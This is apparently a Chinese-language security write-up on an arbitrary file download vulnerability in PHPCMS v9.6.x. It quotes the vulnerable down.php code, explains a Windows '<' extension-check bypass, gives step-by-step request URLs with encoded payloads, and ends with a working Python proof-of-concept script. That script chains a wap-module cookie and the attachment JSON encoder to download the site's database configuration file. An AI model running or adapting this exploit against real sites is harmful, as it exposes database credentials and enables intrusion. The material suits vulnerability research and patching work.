任意文件下載漏洞和9.6.0的wap模塊sql注入在同一個文件
觸發(fā)點在download函數(shù)
phpcms/modules/content/down.php
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//遠程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//處理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
file_down($fileurl, $filename);
}
}
}
函數(shù)流程 從外部獲取a_k參數(shù)->解密a_k字符串->parse_str注冊變量,假設(shè)我們可以控制a_k參數(shù),那么就
可以將payload帶入,實現(xiàn)任意文件下載(后續(xù)代碼會對下載文件的后綴進行檢測,
在Windows下可以通過"<"符號來匹配文件,例如index.php可以使用index.ph<來完成繞過)
再看init函數(shù)后幾行
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
include template('content','download');
}
通過多個變量拼接生成變量$a_k并作為下載鏈接返回到客戶端,所以需要再想辦法控制這些變量
返回init函數(shù)前幾行
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
這些變量的值還是來自外部的a_k參數(shù),然后解密并由parse_str注冊而成。這就回到了v9.6.0wap注入
的觸發(fā)處
驗證:
- 拿到加密后的cookie
http://192.168.42.133/phpcms/install_package/index.php?m=wap&c=index&siteid=1 - 注意userid_flash的值以及要下載的位置
http://192.168.42.133/phpcms/install_package/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26
POST: userid_flash=3254G0WHf0Ezjn-F0XeGWGKAFzbQIG74zvdPJNuj - 得到a_k的值再訪問init函數(shù)
http://192.168.42.133/phpcms/install_package/index.php?m=content&c=down&a_k=6f01j0SKUOgHPwRUwo6buVR4uKU5RZKWguMoCL58JF9yD_B57-gpUqzVCPhzbnoULuANgKs7vHf437EIG24Qu07ExowlP1C99QVpP4aQ-19rFRbDE6OsOifqnBnoCjyxn-D2oZ9Ey0ec7BjM5TkJjweVmKnXtM2iSIkyu5jdyMndQ8YL8SE - 點擊下載即可
#POC
#coding:utf-8
import requests
import re
url = 'http://192.168.42.133/phpcms/install_package/index.php'
s = requests.session()
params_get_userid = {
'm':'wap',
'c':'index',
'siteid':'1',
}
rep = s.get(url,params=params_get_userid)
for cookie in rep.cookies:
if '_siteid' in cookie.name:
userid = cookie.value #userid為第一次加密的$this->userid
payload = '%26id%3D1%26m%3D1%26f%3Dcaches%2fconfigs%2fdatabase.ph%253C%26modelid%3D1%26catid%3D1%26s%3D%26i%3D1%26d%3D1%26'
url_get_encode = '{}?m=attachment&c=attachments&a=swfupload_json&aid=1&src={}'.format(url,payload)
data = {'userid_flash':userid}
rep = s.post(url_get_encode,data=data)
for cookie in rep.cookies:
if '_att_json' in cookie.name:
encode_payload = cookie.value
params = {
'm':'content',
'c':'down',
'a_k':encode_payload,
}
rep = s.get(url,params=params)
content = rep.content#此時已經(jīng)有下載鏈接了
file = re.findall(r'<a href="(.+?)"',content)[0]
print s.get(url+file).content